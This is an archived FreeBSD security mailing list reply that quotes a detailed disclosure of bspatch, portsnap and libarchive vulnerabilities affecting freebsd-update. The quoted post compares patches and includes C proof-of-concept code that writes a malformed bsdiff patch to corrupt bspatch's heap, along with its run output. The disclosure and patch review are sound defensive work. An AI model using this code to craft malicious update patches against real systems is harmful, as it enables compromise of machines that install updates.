Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 29 Jul 2016 17:00:11 +0800
From:      Julian Elischer <julian@freebsd.org>
To:        Martin Schroeder <mschroeder@vfemail.net>, freebsd-security@freebsd.org
Subject:   Re: freebsd-update and portsnap users still at risk of compromise
Message-ID:  <c59340ad-38d8-5b76-6cce-d4a1d540f90c@freebsd.org>
In-Reply-To: <6bd80e384e443e5de73fb951e973b221@vfemail.net>
References:  <6bd80e384e443e5de73fb951e973b221@vfemail.net>

next in thread | previous in thread | raw e-mail | index | archive | help
On 29/07/2016 11:49 AM, Martin Schroeder wrote:
> On July 18, John Leyden, security editor at The Register, tweeted a 
> link
> to a libarchive ticket that had been sitting without a response for
> almost a week.
>
not sure if you've been contacted privately, but  I believe the answer is
"we're working on it"

> tweet: https://twitter.com/jleyden/status/755016810865582081
> libarchive ticket: https://github.com/libarchive/libarchive/issues/743
>
> The ticket creator quoted an AV researcher who was likely posting to 
> one
> of the many early-alert vendor lists in the age of infosec 
> balkanization
> (IOW, a "courtesy heads-up" to FreeBSD users forking them money):
>
> [QUOTE]
> Our AV researchers have analyzed the following link that was cloud-
> submitted as suspect:
>
> https://gist.github.com/anonymous/e48209b03f1dd9625a992717e7b89c4f
>
> The document is from an unknown author and describes "non-cryptanalytic
> attacks against FreeBSD update components." The affected components are
> the portsnap and freebsd-update tools, both directly and indirectly.
>
> From what we can tell, the text file is part of a larger stash of
> documents, all with the same attack-defense style. We have other
> documents, dated 2014 and 2015, detailing attacks against the update
> systems of multiple Linux distributions and the corresponding defenses
> against "the adversary."
>
> We believe this to be the work of an MITM-capable advanced threat 
> actor.
>
> Full details of our findings will be released in the coming weeks. This
> is a courtesy heads-up to FreeBSD users.
> [/QUOTE]
>
> Another poster confirmed some of the attacks:
>
> [QUOTE]
> Here via John Leyden's tweet.
>
> I don't have the time to test the portsnap attacks, but I can confirm
> that the libarchive/tar and bspatch attacks work on our 10.x machines,
> and I'm happy to test any libarchive/tar fixes.
>
> Judging by the painstaking amount of work put into the bspatch exploit
> especially, I think it's highly unlikely that the creator lacks the
> means to deploy it via mitm. Otherwise, I've never seen anything like
> this in terms of apparent work/reward. It would be comical if it 
> weren't
> so horrifying. Think of all those locked-down fbsd machines that 
> have no
> external-facing daemons/services and that perform only updates. Our
> telecommunications floor alone has several dozen.
>
> Someone needs to alert the fbsd mailing lists (-current, -security?)
> pronto. I'd rather not mail them myself from work. And we should also
> get more details on the linux distributions.
> [/QUOTE]
>
> I've been analyzing the document extensively since then. The targets 
> are
> as follows:
>
> [1] portsnap via portsnap vulnerabilities
> [2] portsnap via libarchive & tar anti-sandboxing vulnerabilities
> [3] portsnap via bspatch vulnerabilities
> [4] freebsd-update via bspatch vulnerabilities
>
> Nothing has appeared in any official FreeBSD source about [1]. The
> libarchive developers have finally confirmed [2] and are presumably
> working on fixes.
>
> A FreeBSD advisory just appeared for [3] & [4] (bspatch), but users
> should be aware that running freebsd-update exposes their machines to
> the very vulnerability it's correcting (a not insignificant fact that
> was omitted from the advisory). Here's why:
>
> [QUOTE]
>  * The bspatch(1) utility is executed before SHA256 verification in 
> both
>  * freebsd-update(8) and portsnap(8).
> [/QUOTE]
>
> Even worse, the patch in the FreeBSD advisory is insufficient to 
> prevent
> heap corruption. I compared the patch in the FreeBSD advisory with the
> "defense" patch in the document, and the former contains only a subset
> of the checks in the latter. The document patch is in some ways 
> cautious
> to an insanely paranoid degree, mistrusting the error-checking 
> stability
> of system libraries and defending against compiler quirks that probably
> won't exist in compiler optimization intelligence for many years, if
> ever, though as a developer of clang-based static analyzers, I did take
> an interest in one of the more usual integer-overflow culprits:
>
> [ADVISORY PATCH - CONTAINS ONLY A SUBSET OF DOCUMENT PATCH]
>                 /* Sanity-check */
> +               if ((ctrl[0] < 0) || (ctrl[1] < 0))
> +                       errx(1,"Corrupt patch\n");
> +
> +               /* Sanity-check */
>                 if(newpos+ctrl[0]>newsize)
>                         errx(1,"Corrupt patch\n");
> [/ADVISORY PATCH]
>
> [DOCUMENT PATCH - THE CORRESPONDING PORTION]
>          /* Sanity-check */
> -        if(newpos+ctrl[0]>newsize)
> -            errx(1,"Corrupt patch\n");
> +        if((ctrl[0]<0) || (ctrl[0]>INT_MAX) ||
> +            (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize))
> +                errx(1,"Corrupt patch\n");
>
> -        /* Read diff string */
> +        /* Read diff string - 4th arg converted to int */
>          lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]);
>          if ((lenread < ctrl[0]) ||
>              ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END)))
>              errx(1, "Corrupt patch\n");
> [/DOCUMENT PATCH]
>
> The ctrl[1] checks in the document patch are similar.
>
> The basic idea is that for
>
> if(newpos+ctrl[0]>newsize)
>
> and
>
> if(newpos+ctrl[1]>newsize)
>
> it's not enough to block a negative ctrl[]. That will stop the exploit
> given, but it won't stop additional exploits. The document patch 
> defends
> against additional exploits, namely those based on newpos+ctrl[]
> overflowing via a large ctrl[] to bypass the check. The canonical large
> value I use below is 0x7fffffff7fffffff, which is both off_t 
> nonnegative
> and int nonnegative (when truncated in BZ2_bzRead). The document patch
> defends against this truncation trickery as well.
>
> To demonstrate the problem, I wrote the code below. Examine it on a
> FreeBSD x64 machine under gdb, valgrind, or whatever, even with the
> advisory patch applied.
>
> [CODE]
> #include <stdlib.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <bzlib.h>
> #include <sys/types.h>
>
> int main(int argc, char **argv)
> {
>   unsigned char oct;
>   char buff[100000];
>   char c[72]=
>   "\x00\x00\x00\x00\x00\x00\x00\x00"
>   "\xff\xff\xff\x7f\x00\x00\x00\x00"
>   "\x00\x00\x00\x00\x00\x00\x00\x00"
>   "\x00\x00\x00\x00\x00\x00\x00\x00"
>   "\x02\x00\x00\x00\x00\x00\x00\x00"
>   "\x00\x00\x00\x00\x00\x00\x00\x00"
>   "\x00\x00\x00\x00\x00\x00\x00\x00"
>   "\xff\xff\xff\x7f\xff\xff\xff\x7f"
>   "\x00\x00\x00\x00\x00\x00\x00\x00";
>   char *e=calloc(1,0x8fffffff);
>   if(!e) return 1;
>   unsigned l,tmp;
>   int comp=atoi(argv[1]);
>   int fd=open(argv[2],O_WRONLY|O_CREAT|O_TRUNC,0666);
>   write(fd,"BSDIFF40",8);
>   l=sizeof(buff);
>   BZ2_bzBuffToBuffCompress(buff,&l,c,sizeof(c),comp,0,0);
>   tmp=l;
>   for(int i=0;i<8;i++){oct=tmp&0xff;write(fd,&oct,1);tmp>>=8;}
>   write(fd,"\x00\x00\x00\x00\x00\x00\x00\x00",8);
>   write(fd,"\x02\x00\x00\x80\x00\x00\x00\x00",8);
>   write(fd,buff,l);
>   l=sizeof(buff);
>   BZ2_bzBuffToBuffCompress(buff,&l,e,0x8fffffff,comp,0,0);
>   write(fd,buff,l);
>   close(fd);
>   free(e);
>   return 0;
> }
> [/CODE]
>
> [ms@dev4 ~/patch]$ cc -o bp bp.c -lbz2
> [ms@dev4 ~/patch]$ echo 123 > old
> [ms@dev4 ~/patch]$ ./bp 1 patch
> [ms@dev4 ~/patch]$ bspatch old new patch
> Segmentation fault (core dumped)
> [ms@dev4 ~/patch]$ ./bp 9 patch
> [ms@dev4 ~/patch]$ bspatch old new patch
> bspatch: Corrupt patch
>
> Counterintuitively, the segfault case is (currently) less dangerous 
> than
> the error case. This is because the segfault arises from harmlessly
> trashing the heap until an unmapped page is hit (though you never know
> what the future - or creativity - brings). But taking a cue from a
> comment in the exploit, I bumped up the compression to level 9, which
> positioned a lot of libbz2 internal data after the buffer. This data
> gets overwritten and could very likely be finessed to dangerous effect.
> The error message is simply because after pulling out my hair to figure
> out bspatch, I had no desire to follow the author down the rabbit hole
> of bzip2/jemalloc/libc internals, which shall remain for me black 
> magic.
>
> Martin Schroeder
>
> -------------------------------------------------
>
> ONLY AT VFEmail! - Use our Metadata Mitigator to keep your email out 
> of the NSA's hands!
> $24.95 ONETIME Lifetime accounts with Privacy Features!  15GB disk! 
> No bandwidth quotas!
> Commercial and Bulk Mail Options! 
> _______________________________________________
> freebsd-security@freebsd.org mailing list
> https://lists.freebsd.org/mailman/listinfo/freebsd-security
> To unsubscribe, send any mail to 
> "freebsd-security-unsubscribe@freebsd.org"
>




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?c59340ad-38d8-5b76-6cce-d4a1d540f90c>